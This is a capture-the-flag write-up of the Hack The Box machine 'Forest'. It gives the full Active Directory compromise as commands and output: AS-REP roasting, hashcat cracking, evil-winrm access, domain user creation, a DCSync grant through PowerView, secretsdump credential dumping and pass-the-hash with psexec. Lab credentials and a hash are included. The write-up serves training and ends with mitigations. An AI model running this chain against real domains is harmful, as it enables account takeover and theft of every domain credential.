Forest (HTB) - Writeup

Target: Forest (Hack The Box)
Author: eks & mrb3n
Difficulty: Medium
Environment: Windows Active Directory
Status: Fully Compromised
Pwned by: ziliel
Date: 2025.07.08

Summary

This machine demonstrates a classic Active Directory attack chain where users without Kerberos pre-authentication are vulnerable to AS-REP roasting. Cracked service credentials allow domain access, which can then be escalated through excessive group privileges and DCSync rights to fully compromise the domain.

Skills Required

- Basic Active Directory concepts
- Understanding of Kerberos authentication
- Basic Windows and Linux command-line usage

Skills Learned

- Enumerating Active Directory users via LDAP
- Identifying AS-REP roastable accounts
- Performing AS-REP Roasting attacks
- Cracking Kerberos hashes with Hashcat
- Using obtained credentials for domain access
- Privilege escalation via domain group membership
- Dumping domain hashes with `secretsdump.py`

Enumeration

Nmap:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ sudo nmap -Pn -p- -T4 --min-rate=1000 10.129.169.38 > nmap-ports.txt

┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ sudo nmap -Pn -p- -T4 --min-rate=1000 10.129.169.38 > nmap-ports.txt
```

Enumerated (FQDN: FOREST.htb.local)

enum4linux:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ enum4linux -a 10.129.169.38 > enum4linux.txt
```

found (usernames: sebastien, lucinda, svc-alfresco, andy, mark, santi)

automated AS-REP Roasting:

AS-REP Roasting is possible because the svc-alfresco account does not require Kerberos pre-authentication, allowing offline password cracking without valid credentials.

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ while read p; do python3 /media/ziliel/SANDISK-256/scripts/impacket-0.12.0/examples/GetNPUsers.py htb.local/"$p" -request -no-pass -dc-ip 10.
129.169.38 >> hash.txt; done < usernames.txt
```

Obtained TGT-hash for svc-alfresco

hashcat:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ hashcat -a 0 -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
```

Identified (creds: svc-alfresco:s3rvice)

Initial Access

evil-winrm:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ evil-winrm -i 10.129.169.38 -u svc-alfresco -p 's3rvice'
```

Recovered (user.txt):

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> cat user.txt
d754f1c318c463d6fa4d190d58f6bac7
```

PrivEsc

Manual Enum:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> whoami /groups
```

found (Group: Remote Management Users)

Further enumeration revealed that svc-alfresco had sufficient privileges to create new users and modify group memberships, enabling privilege escalation. We create a new user john and add him to high privilege groups.

Creating a new user (john) and assigning elevated privileges:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net user john abc123! /add /domain
The command completed successfully.
```

Adding john to privileged groups:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net group "Exchange Windows Permissions" john /add
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net localgroup "Remote Management Users" john /add
The command completed successfully.
```

Uploading PowerView.ps1:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> upload PowerView.ps1
```

we will need the Add-ObjectACL function from PowerView to give john DCSPrivileges.

Running PowerView.ps1:

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> . .\PowerView.ps1
```

Using Add-ObjectACL with john's credentials and giving him DCSync rights:

By granting john DCSync privileges, we allow the account to impersonate a domain controller and request password hashes for any domain user, including the domain administrator.

```
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $pass = ConvertTo-SecureString 'abc123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\john', $pass)
Add-ObjectACL -PrincipalIdentity john -Credential $cred -Rights DCSync
```

secretsdump:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ impacket-secretsdump htb/john@10.129.169.38
```

using secretsdump with john will dump all credentials on the domain because of john's DCSPrivileges.

psexec:

```
┌──(ziliel㉿ziliel)-[/media/…/Writeups/OWN/Forest/scans]
└─$ impacket-psexec administrator@10.129.169.38 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a
07ceea6
```

We copied the Administrator NTLM hash and connected through pass-the-hash technique with psexec.

Obtained root.txt:

```
 Directory of C:\Users\Administrator\Desktop

09/23/2019  02:15 PM    <DIR>          .
09/23/2019  02:15 PM    <DIR>          ..
07/05/2025  08:51 AM                34 root.txt
```

Tools Used

- nmap
- enum4linux
- GetNPUsers.py (Impacket)
- hashcat
- evil-winrm
- PowerView.ps1
- secretsdump.py (Impacket)
- psexec.py (Impacket)

Attack Chain:

AS-REP Roasting → svc-alfresco → Domain Access → User Creation → DCSync → Domain Admin

Defensive Mitigation

Kerberos pre-authentication should be enforced on all accounts, service account passwords should be strong and rotated, and DCSync permissions must be tightly restricted and monitored.

Learned

This box reinforced my knowledge of AS-REP Roasting and privilege escalation via group membership and DCSync. It also gave me hands-on experience with PowerView and pass-the-hash attacks.